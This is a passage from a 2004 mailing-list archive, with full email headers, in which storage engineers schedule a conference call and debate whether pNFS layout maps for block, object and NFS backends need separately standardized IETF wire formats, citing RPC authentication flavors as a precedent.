(Switch-2.1.5/Switch-2.1.0) with ESMTP id i1CFVDb23508 for ; Thu, 12 Feb 2004 08:31:13 -0700 (MST) Message-ID: <402B9E6C.FD2926D8@oracle.com> Date: Thu, 12 Feb 2004 07:40:28 -0800 Organization: Oracle Corporation X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: pnfs-reqs@yahoogroups.com References: Content-Type: multipart/mixed; boundary=""------------ABD85AA3E0FD053C29F098BA"" X-Brightmail-Tracker: AAAAAQAAAAI= X-White-List-Member: TRUE X-eGroups-Remote-IP: 141.146.126.229 From: Margaret Susairaj Subject: Re: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=175561634 X-Yahoo-Profile: msusaira ADVERTISEMENT Garth, I joined this group recently. What is the number I can call to attend the concall? Regards, Margaret Garth Gibson wrote: > We'll hold a concall tomorrow 11am EST. > > Agenda items can include: > > - we need to convert the problem statement into a presentation (our > target was Feb 19) > > - we need to identify who is giving the presentation at Seoul, if our > topic is given time > > - should we give it at Connectathon next week, and if so, who will give > it (who is going?) > > - its time to get back to the original roles of the mailing lists: > - a draft of a requirements doc > - a draft of the operations we suggest for NFSv4 extension > - a draft of the wire format of layout metadata for SBC (FC/SCSI) > backends > - a draft of the wire format of layout metadata for OSD backends > - a draft of the wire format of layout metadata for NFS backends > > - get some milestones and dates beside the above > > garth >From bhalevy@panasas.com Thu Feb 12 07:58:28 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 65082 invoked from network); 12 Feb 2004 15:58:24 -0000 Received: from unknown (66.218.66.217) by m16.grp.scd.yahoo.com with QMQP; 12 Feb 2004 15:58:24 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 12 Feb 2004 15:58:23 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Feb 2004 10:58:07 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38863@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Date: Thu, 12 Feb 2004 10:58:07 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3F181.01463780"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy 1-800-387-6159 conf. id #5370035 Benny -----Original Message----- From: Margaret Susairaj [mailto:margaret.susairaj@oracle.com] Sent: Thursday, February 12, 2004 10:40 AM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] concall tomorrow Garth, I joined this group recently. What is the number I can call to attend the concall? Regards, Margaret Garth Gibson wrote: > We'll hold a concall tomorrow 11am EST. > > Agenda items can include: > > - we need to convert the problem statement into a presentation (our > target was Feb 19) > > - we need to identify who is giving the presentation at Seoul, if our > topic is given time > > - should we give it at Connectathon next week, and if so, who will give > it (who is going?) > > - its time to get back to the original roles of the mailing lists: > - a draft of a requirements doc > - a draft of the operations we suggest for NFSv4 extension > - a draft of the wire format of layout metadata for SBC (FC/SCSI) > backends > - a draft of the wire format of layout metadata for OSD backends > - a draft of the wire format of layout metadata for NFS backends > > - get some milestones and dates beside the above > > garth >From bhalevy@panasas.com Thu Feb 12 09:04:58 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@groups.yahoo.com Received: (qmail 50691 invoked from network); 12 Feb 2004 17:04:56 -0000 Received: from unknown (66.218.66.218) by m6.grp.scd.yahoo.com with QMQP; 12 Feb 2004 17:04:56 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 12 Feb 2004 17:04:56 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Feb 2004 12:04:41 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38869@PIKES.panasas.com> To: ""'pnfs-reqs@groups.yahoo.com'"" Date: Thu, 12 Feb 2004 12:04:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: access to pnfs-* mail archives X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy Following up on our conference call from today, people asked what are all the pnfs-* lists and how to access their e-mail archives. The groups are pnfs-reqs where we discussed the problem statement and will get deeper into the requirements draft. pnfs-ops where we discuss the common extensions. and pnfs-nfs, pnfs-obj, and pnfs-sbc where we intend to discuss the specifics of each flavor such as layout format, addressing scheme, security details, etc. We have limited access to the groups' email archives for members only. If you are interested in the archive but not in getting each posting in (soft) real time for that list the membership configuration for ""Group Messages Delivery"" allows you to select either ""Individual Emails"" (default. you get it all), ""Special Notices"", ""Daily Digest"", or ""No email"". All the groups can be accessed via http://groups.yahoo.com/group/ Benny -- Benny Halevy Software Architect, Panasas Inc. Delivering the premier storage system for scalable Linux clusters http://www.panasas.com bhalevy@panasas.com tel: 412-323-6437 cell: 412-580-2520 >From bwelch@panasas.com Thu Feb 12 09:20:33 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 65152 invoked from network); 12 Feb 2004 17:20:32 -0000 Received: from unknown (66.218.66.217) by m19.grp.scd.yahoo.com with QMQP; 12 Feb 2004 17:20:32 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta2.grp.scd.yahoo.com with SMTP; 12 Feb 2004 17:20:32 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i1CHKVU02851 for ; Thu, 12 Feb 2004 09:20:31 -0800 Message-Id: <200402121720.i1CHKVU02851@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.3 04/02/2003 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com In-reply-to: References: Comments: In-reply-to Garth Gibson message dated ""Wed, 11 Feb 2004 16:10:54 -0800."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 Here are my notes from the call today. Present were Brent Welch, Benny Halevy, Peter Corbett, Dave Noveck, Tom Talpey, David Black >>>Garth Gibson said: > - we need to convert the problem statement into a presentation (our > target was Feb 19) We will work on this via email today and tomorrow as next week is full of travel and vacation days for several of us. Look for another email from me with a sketch talk outline (cannon fodder) > - we need to identify who is giving the presentation at Seoul, if our > topic is given time Tom will give the talk. BP has been informed we want the slot, which will probably be 10 minutes. There is 2 hours for NFSv4, so it seems there will be ample room. Haven't gotten confirmation, yet. > - should we give it at Connectathon next week, and if so, who will give > it (who is going?) Tom will be there Monday and part of Tuesday, and will try to give an informal talk - the talk schedule is currently full except for overflow time on Wednesday. To prime the pump, Tom is going to send the problem statement (or a pointer) to the nfsv4 working group mailing list. We'll use the same material as the IETF talk, (heavy overlap) but the focus of the two talks will be different. IETF more about why IETF should be interested. Connectathon, why this is technically cool. > - its time to get back to the original roles of the mailing lists: > - a draft of a requirements doc > - a draft of the operations we suggest for NFSv4 extension > - a draft of the wire format of layout metadata for SBC (FC/SCSI) > backends > - a draft of the wire format of layout metadata for OSD backends > - a draft of the wire format of layout metadata for NFS backends > > - get some milestones and dates beside the above We seemed mostly interested in focusing on the requirements doc next, although we should at least have a sketch in place for the ops and the metadata formats for the block/object/file mechanisms. There was also brief discussion about the mailing lists. All the traffic is on this the pnfs-reqs list right now, with some older traffic on the pnfs-ops group. Eventually we expect most stuff to transition to the nfsv4 list, but not until we get a more official charter. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From ggrider@lanl.gov Thu Feb 12 15:31:38 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 16743 invoked from network); 12 Feb 2004 23:31:38 -0000 Received: from unknown (66.218.66.218) by m12.grp.scd.yahoo.com with QMQP; 12 Feb 2004 23:31:38 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta3.grp.scd.yahoo.com with SMTP; 12 Feb 2004 23:31:37 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1CNVaHR032738 for ; Thu, 12 Feb 2004 16:31:36 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1CNVaeI021291 for ; Thu, 12 Feb 2004 16:31:36 -0700 Received: from cthulu.lanl.gov (vpn-client-224.lanl.gov [128.165.253.224]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1CNVYYi004263 for ; Thu, 12 Feb 2004 16:31:35 -0700 Message-Id: <5.2.0.9.2.20040212162218.0160a6c8@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 12 Feb 2004 16:31:34 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_26921190==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: > We'll hold a concall tomorrow 11am EST. > > Agenda items can include: > > - we need to convert the problem statement into a presentation (our > target was Feb 19) > > - we need to identify who is giving the presentation at Seoul, if our > topic is given time > > - should we give it at Connectathon next week, and if so, who will give > it (who is going?) > > - its time to get back to the original roles of the mailing lists: > - a draft of a requirements doc > - a draft of the operations we suggest for NFSv4 extension > - a draft of the wire format of layout metadata for SBC (FC/SCSI) > backends > - a draft of the wire format of layout metadata for OSD backends > - a draft of the wire format of layout metadata for NFS backends Ok, I have a big problem with the last three statements. I know I have not been following this stuff as closely as I should have, but why cant the maps be sent to from the server in an agnostic way? Why does the NFS server have to understand any of what is in the map? Why isnt there a plug in on the server side to get the map info for the server to send to the client, and why isnt there a plug in on the client side to pass the map down to? What if the world decides to add another way to do I/O besides Block, Object, and NFS? What happens if the Object model evolves, does NFS have to change to stay in sync with it? Shouldnt all this stuff be as opaque as it can be? You do need locks for making sure the map doesnt change. I am confused why we gave up on trying to make this agnostic. Sorry for the question, but I have this built in alarm, that goes off when I see any numbers besides 0,1, and N (not 3). Thanks Gary > - get some milestones and dates beside the above > > garth > > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From garth@panasas.com Thu Feb 12 16:17:25 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 12811 invoked from network); 13 Feb 2004 00:17:18 -0000 Received: from unknown (66.218.66.172) by m13.grp.scd.yahoo.com with QMQP; 13 Feb 2004 00:17:18 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 13 Feb 2004 00:17:18 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY3RG1; Thu, 12 Feb 2004 19:17:16 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <5.2.0.9.2.20040212162218.0160a6c8@cic-mail.lanl.gov> References: <5.2.0.9.2.20040212162218.0160a6c8@cic-mail.lanl.gov> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable Date: Thu, 12 Feb 2004 16:17:08 -0800 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: > At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: >> - its time to get back to the original roles of the mailing lists: >> - a draft of a requirements doc >> - a draft of the operations we suggest for NFSv4 extension >> - a draft of the wire format of layout metadata for SBC >> (FC/SCSI) backends >> - a draft of the wire format of layout metadata for OSD >> backends >> - a draft of the wire format of layout metadata for NFS >> backends > > Ok, I have a big problem with the last three statements. I know I > have not been following > this stuff as closely as I should have, but why cant the maps be sent > to from the server > in an agnostic way? Why does the NFS server have to understand any > of what is in the > map? Why isnt there a plug in on the server side to get the map info > for the server to > send to the client, and why isnt there a plug in on the client side > to pass the map down to? The NFS server does not have to understand what is in the map, other than enough to know what file the layout delegation and map pertain to for recalling that delegation. However, for any chance of interoperability, the map formats must be documented. And since each backend server flavor has addressing characteristics that will be visible in the map, the documented map formats will be specific to the backend flavors. The theory we started with was that the base NFSv4 extensions would describe opaque ""maps"". And that we would propose separate internet drafts for a wire format for each flavor of map. Hence the NFSv4 extensions are backend protocol agnostic, yet the client implementations can be interoperable. > What if the world decides to add another way to do I/O besides Block, > Object, and NFS? > What happens if the Object model evolves, does NFS have to change to > stay in > sync with it? Shouldnt all this stuff be as opaque as it can be? > You do need locks > for making sure the map doesnt change. A new backend protocol would cause a new map flavor, and a new document for that map flavor's wire format. The challenge for us is to make the typing and sizing of the opaque map flexible enough to allow said extension. The fall back, if the new backend is very much different from the scope of SBC, OSD and NFS, would be do further extend NFSv4. I hope we do not have to do that. > I am confused why we gave up on trying to make this agnostic. > Sorry for the question, but I have this built in alarm, that goes off > when I see > any numbers besides 0,1, and N (not 3). This is intended to be a structure for 1, 2 and 3, with an inductive step enabling any positive whole number to be induced :-) > Thanks > Gary garth >From ggrider@lanl.gov Thu Feb 12 16:44:30 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 3162 invoked from network); 13 Feb 2004 00:44:27 -0000 Received: from unknown (66.218.66.167) by m5.grp.scd.yahoo.com with QMQP; 13 Feb 2004 00:44:27 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta6.grp.scd.yahoo.com with SMTP; 13 Feb 2004 00:44:26 -0000 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D0iQHR004985 for ; Thu, 12 Feb 2004 17:44:26 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D0iPq1026837 for ; Thu, 12 Feb 2004 17:44:25 -0700 Received: from cthulu.lanl.gov (vpn-client-224.lanl.gov [128.165.253.224]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D0iNYi010035 for ; Thu, 12 Feb 2004 17:44:24 -0700 Message-Id: <5.2.0.9.2.20040212173055.015c5670@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 12 Feb 2004 17:44:21 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: <5.2.0.9.2.20040212162218.0160a6c8@cic-mail.lanl.gov> <5.2.0.9.2.20040212162218.0160a6c8@cic-mail.lanl.gov> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_31290192==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs At 04:17 PM 2/12/2004 -0800, Garth Gibson wrote: > On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: > > At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: > >> - its time to get back to the original roles of the mailing lists: > >> - a draft of a requirements doc > >> - a draft of the operations we suggest for NFSv4 extension > >> - a draft of the wire format of layout metadata for SBC > >> (FC/SCSI) backends > >> - a draft of the wire format of layout metadata for OSD > >> backends > >> - a draft of the wire format of layout metadata for NFS > >> backends > > > > Ok, I have a big problem with the last three statements. I know I > > have not been following > > this stuff as closely as I should have, but why cant the maps be sent > > to from the server > > in an agnostic way? Why does the NFS server have to understand any > > of what is in the > > map? Why isnt there a plug in on the server side to get the map info > > for the server to > > send to the client, and why isnt there a plug in on the client side > > to pass the map down to? > > The NFS server does not have to understand what is in the map, other > than enough to know what file the layout delegation and map pertain to > for recalling that delegation. > > However, for any chance of interoperability, the map formats must be > documented. agree, but does IETF care about this, its just information that NFS can pass on, seems like if a consortia of T10 folks want a common set of plugins, thats great, if SBC folks want a common plug in, thats great, but why should NFS/IETF care about this? > And since each backend server flavor has addressing > characteristics that will be visible in the map, the documented map > formats will be specific to the backend flavors. > > The theory we started with was that the base NFSv4 extensions would > describe opaque ""maps"". And that we would propose separate internet > drafts for a wire format for each flavor of map. Why do we need a different wire format? Isnt it just a blob of data that is passed through some normal NFS protocol mechanism? Why does it need a wire format? I agree it needs a published format of the stream of data. Am I reading more into ""wire"" than I should. If we do a separate IETF process for each new format, wont it be hard to keep up. I agree we need to have a ""type"" of back end and maybe a version or something, but what is in the map could be of no concern to the IETF, couldnt it? > Hence the NFSv4 > extensions are backend protocol agnostic, yet the client > implementations can be interoperable. > > > What if the world decides to add another way to do I/O besides Block, > > Object, and NFS? > > What happens if the Object model evolves, does NFS have to change to > > stay in > > sync with it? Shouldnt all this stuff be as opaque as it can be? > > You do need locks > > for making sure the map doesnt change. > > A new backend protocol would cause a new map flavor, and a new document > for that map flavor's wire format. Do we want to get an IETF action every time we need to add a new flavor? How easy is this process going to be? How easy is it going to be to change. Sounds like it will be very much harder than just changing out your plugins. Are we linking several different communities to work in lock step? Is that good or bad? Thanks Gary > The challenge for us is to make the typing and sizing of the opaque map > flexible enough to allow said extension. The fall back, if the new > backend is very much different from the scope of SBC, OSD and NFS, > would be do further extend NFSv4. I hope we do not have to do that. > > > I am confused why we gave up on trying to make this agnostic. > > Sorry for the question, but I have this built in alarm, that goes off > > when I see > > any numbers besides 0,1, and N (not 3). > > This is intended to be a structure for 1, 2 and 3, with an inductive > step enabling any positive whole number to be induced :-) > > > Thanks > > Gary > > garth > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From bhalevy@panasas.com Thu Feb 12 16:52:15 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 46343 invoked from network); 13 Feb 2004 00:52:15 -0000 Received: from unknown (66.218.66.216) by m14.grp.scd.yahoo.com with QMQP; 13 Feb 2004 00:52:15 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 13 Feb 2004 00:52:14 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Feb 2004 19:52:13 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38874@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Date: Thu, 12 Feb 2004 19:52:12 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy ADVERTISEMENT I agree with everything Garth says below. Just as an example of how an extensible mechanism was spec'ed before in the NFS community you can take the RPC protocol security flavors. RPC (rfc1831) specifies how RPC security flavors are encoded in the RPC protocol. It specifies the basic flavors and the wire format of the auth_flavor ""frame"" which contains a type and an opaque_body. It says: enum auth_flavor { AUTH_NONE = 0, AUTH_SYS = 1, AUTH_SHORT = 2 /* and more to be defined */ }; struct opaque_auth { auth_flavor flavor; opaque body<400>; }; ... The interpretation and semantics of the data contained within the authentication fields is specified by individual, independent authentication protocol specifications. (Section 9 defines the various authentication protocols.) ... 9. AUTHENTICATION PROTOCOLS As previously stated, authentication parameters are opaque, but open-ended to the rest of the RPC protocol. This section defines two standard ""flavors"" of authentication. Implementors are free to invent new authentication types, with the same rules of flavor number assignment as there is for program number assignment. The ""flavor"" of a credential or verifier refers to the value of the ""flavor"" field in the opaque_auth structure. Flavor numbers, like RPC program numbers, are also administered centrally, and developers may assign new flavor numbers by applying through electronic mail to ""rpc@sun.com"". Credentials and verifiers are represented as variable length opaque data (the ""body"" field in the opaque_auth structure). In this document, two flavors of authentication are described. Of these, Null authentication (described in the next subsection) is mandatory - it must be available in all implementations. System authentication is described in Appendix A. And it then defines the NULL auth flavor and later in appendix the SYS auth. Later, more auth flavors were added, and lately NFSv4 mandated a new auth flavor, GSS-API, that is defined in a separate RFC (rfc2743) which is referred to by the NFSv4 RFC. The transport protocols, RPC and NFS, do not define the wire format of all security flavors but provide enough metadata in the spec for clients and servers to interoperate. Benny >-----Original Message----- >From: Garth Gibson [mailto:garth@Panasas.Com] >Sent: Thursday, February 12, 2004 7:17 PM >To: pnfs-reqs@yahoogroups.com >Subject: Re: [pnfs-reqs] concall tomorrow > > >On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: >> At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: >>> - its time to get back to the original roles of the mailing lists: >>> - a draft of a requirements doc >>> - a draft of the operations we suggest for NFSv4 extension >>> - a draft of the wire format of layout metadata for SBC >>> (FC/SCSI) backends >>> - a draft of the wire format of layout metadata for OSD >>> backends >>> - a draft of the wire format of layout metadata for NFS >>> backends >> >> Ok, I have a big problem with the last three statements. I know I >> have not been following >> this stuff as closely as I should have, but why cant the >maps be sent >> to from the server >> in an agnostic way? Why does the NFS server have to understand any >> of what is in the >> map? Why isnt there a plug in on the server side to get >the map info >> for the server to >> send to the client, and why isnt there a plug in on the client side >> to pass the map down to? > >The NFS server does not have to understand what is in the map, other >than enough to know what file the layout delegation and map pertain to >for recalling that delegation. > >However, for any chance of interoperability, the map formats must be >documented. And since each backend server flavor has addressing >characteristics that will be visible in the map, the documented map >formats will be specific to the backend flavors. > >The theory we started with was that the base NFSv4 extensions would >describe opaque ""maps"". And that we would propose separate internet >drafts for a wire format for each flavor of map. Hence the NFSv4 >extensions are backend protocol agnostic, yet the client >implementations can be interoperable. > >> What if the world decides to add another way to do I/O >besides Block, >> Object, and NFS? >> What happens if the Object model evolves, does NFS have to >change to >> stay in >> sync with it? Shouldnt all this stuff be as opaque as it can be? >> You do need locks >> for making sure the map doesnt change. > >A new backend protocol would cause a new map flavor, and a new >document >for that map flavor's wire format. > >The challenge for us is to make the typing and sizing of the >opaque map >flexible enough to allow said extension. The fall back, if the new >backend is very much different from the scope of SBC, OSD and NFS, >would be do further extend NFSv4. I hope we do not have to do that. > >> I am confused why we gave up on trying to make this agnostic. >> Sorry for the question, but I have this built in alarm, >that goes off >> when I see >> any numbers besides 0,1, and N (not 3). > >This is intended to be a structure for 1, 2 and 3, with an inductive >step enabling any positive whole number to be induced :-) > >> Thanks >> Gary > >garth > > > >Yahoo! Groups Links > > > > > >From bhalevy@panasas.com Thu Feb 12 17:03:27 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 61264 invoked from network); 13 Feb 2004 01:03:25 -0000 Received: from unknown (66.218.66.167) by m3.grp.scd.yahoo.com with QMQP; 13 Feb 2004 01:03:25 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 13 Feb 2004 01:03:25 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Feb 2004 20:03:24 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38875@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Date: Thu, 12 Feb 2004 20:03:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3F1CD.2DA4CA70"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy ADVERTISEMENT > If we do a separate IETF process for each new format, wont it > be hard to keep up. I don't see that as necessarily a bad thing... > I agree we need to have a ""type"" of back end and maybe a version > or something, but what is in the map could be of no concern to the IETF, couldnt it? The IETF is concerned about interoperability. I believe we should be concerned with standardizing the wire format of the layout maps. Do we *have* to do that within the IETF? There could be other options but since you have to refer to some external standard to talk about interoperability it'll be difficult to refer to non-existing standards that are being standardized outside of the IETF. T10-OSD is one such external standard that substantial enough so it can be referred to. > Do we want to get an IETF action every time we need to add a new flavor? Probably, in order to extend the vector of available flavors. This could be done within NFSv4's minor versioning model. > How easy is this process going to be? How easy is it going to be to change. > Sounds like it will be very much harder than just changing out your plugins. Again, there's a trade-off between versatility and interoperability. > Are we linking several different communities to work in lock > step? Is that good or bad? The hierarchical standard model is intended to allow each flavor to make progress at its own pace. Benny -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Thursday, February 12, 2004 7:44 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] concall tomorrow At 04:17 PM 2/12/2004 -0800, Garth Gibson wrote: > On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: > > At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: > >> - its time to get back to the original roles of the mailing lists: > >> - a draft of a requirements doc > >> - a draft of the operations we suggest for NFSv4 extension > >> - a draft of the wire format of layout metadata for SBC > >> (FC/SCSI) backends > >> - a draft of the wire format of layout metadata for OSD > >> backends > >> - a draft of the wire format of layout metadata for NFS > >> backends > > > > Ok, I have a big problem with the last three statements. I know I > > have not been following > > this stuff as closely as I should have, but why cant the maps be sent > > to from the server > > in an agnostic way? Why does the NFS server have to understand any > > of what is in the > > map? Why isnt there a plug in on the server side to get the map info > > for the server to > > send to the client, and why isnt there a plug in on the client side > > to pass the map down to? > > The NFS server does not have to understand what is in the map, other > than enough to know what file the layout delegation and map pertain to > for recalling that delegation. > > However, for any chance of interoperability, the map formats must be > documented. agree, but does IETF care about this, its just information that NFS can pass on, seems like if a consortia of T10 folks want a common set of plugins, thats great, if SBC folks want a common plug in, thats great, but why should NFS/IETF care about this? > And since each backend server flavor has addressing > characteristics that will be visible in the map, the documented map > formats will be specific to the backend flavors. > > The theory we started with was that the base NFSv4 extensions would > describe opaque ""maps"". And that we would propose separate internet > drafts for a wire format for each flavor of map. Why do we need a different wire format? Isnt it just a blob of data that is passed through some normal NFS protocol mechanism? Why does it need a wire format? I agree it needs a published format of the stream of data. Am I reading more into ""wire"" than I should. If we do a separate IETF process for each new format, wont it be hard to keep up. I agree we need to have a ""type"" of back end and maybe a version or something, but what is in the map could be of no concern to the IETF, couldnt it? > Hence the NFSv4 > extensions are backend protocol agnostic, yet the client > implementations can be interoperable. > > > What if the world decides to add another way to do I/O besides Block, > > Object, and NFS? > > What happens if the Object model evolves, does NFS have to change to > > stay in > > sync with it? Shouldnt all this stuff be as opaque as it can be? > > You do need locks > > for making sure the map doesnt change. > > A new backend protocol would cause a new map flavor, and a new document > for that map flavor's wire format. Do we want to get an IETF action every time we need to add a new flavor? How easy is this process going to be? How easy is it going to be to change. Sounds like it will be very much harder than just changing out your plugins. Are we linking several different communities to work in lock step? Is that good or bad? Thanks Gary > The challenge for us is to make the typing and sizing of the opaque map > flexible enough to allow said extension. The fall back, if the new > backend is very much different from the scope of SBC, OSD and NFS, > would be do further extend NFSv4. I hope we do not have to do that. > > > I am confused why we gave up on trying to make this agnostic. > > Sorry for the question, but I have this built in alarm, that goes off > > when I see > > any numbers besides 0,1, and N (not 3). > > This is intended to be a structure for 1, 2 and 3, with an inductive > step enabling any positive whole number to be induced :-) > > > Thanks > > Gary > > garth > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From ggrider@lanl.gov Thu Feb 12 17:19:21 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 24129 invoked from network); 13 Feb 2004 01:19:20 -0000 Received: from unknown 